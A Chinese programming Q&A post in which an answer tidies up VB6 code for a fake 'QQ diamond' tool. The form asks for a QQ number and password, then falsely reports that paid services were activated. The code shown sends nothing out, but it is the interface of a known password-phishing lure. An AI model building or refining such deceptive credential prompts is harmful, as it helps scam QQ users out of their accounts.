分类：电脑/网络-程序设计
问题：VBPrivateSubText1_KeyPress(KeyAs 
Private Sub Text1_KeyPress(KeyAscii As Integer)Select Case KeyAscii        Case 48 To 57 '0-9           Exit Sub        Case Else           KeyAscii = 0           MsgBox "您输入号码不正确，请重新输入!", 0, "提示"           End Select           End SubPrivate Sub Command1_CliPrivate Sub Text1_KeyPress(KeyAscii As Integer)Select Case KeyAscii        Case 48 To 57 '0-9           Exit Sub        Case Else           KeyAscii = 0           MsgBox "您输入号码不正确，请重新输入!", 0, "提示"           End Select           End SubPrivate Sub Command1_Click()If Text1.Text = "" ThenMsgBox "请输入QQ号码!", 0, "提示"End IfIf Text2.Text = "" ThenMsgBox "请输入QQ密码!", 0, "提示"ElseMsgBox "刷钻成功，请重新登录您的QQ!", bokonly + vbExclamation, "开通QQ业务成功"End IfEnd SubPrivate Sub Command2_Click()Unload MeEnd SubEnd SelectEnd Sub unloadme 退出   急     
回答：Private Sub Text1_KeyPress(KeyAscii As Integer)Select Case KeyAsciiCase 48 To 57 '0-9Exit SubCase ElseKeyAscii = 0MsgBox "您输入号码不正确，请重新输入!", 0, "提示"End SelectEnd SubPrivate Sub Command1_Click()If Text1.Text = "" ThenMsgBox "请输入QQ号码!", 0, "提示"End IfIf Text2.Text = "" ThenMsgBox "请输入QQ密码!", 0, "提示"ElseMsgBox "刷钻成功，请重新登录您的QQ!", vbOKOnly + vbExclamation, "开通QQ业务成功"End IfEnd SubPrivate Sub Command2_Click()Unload MeEnd Sub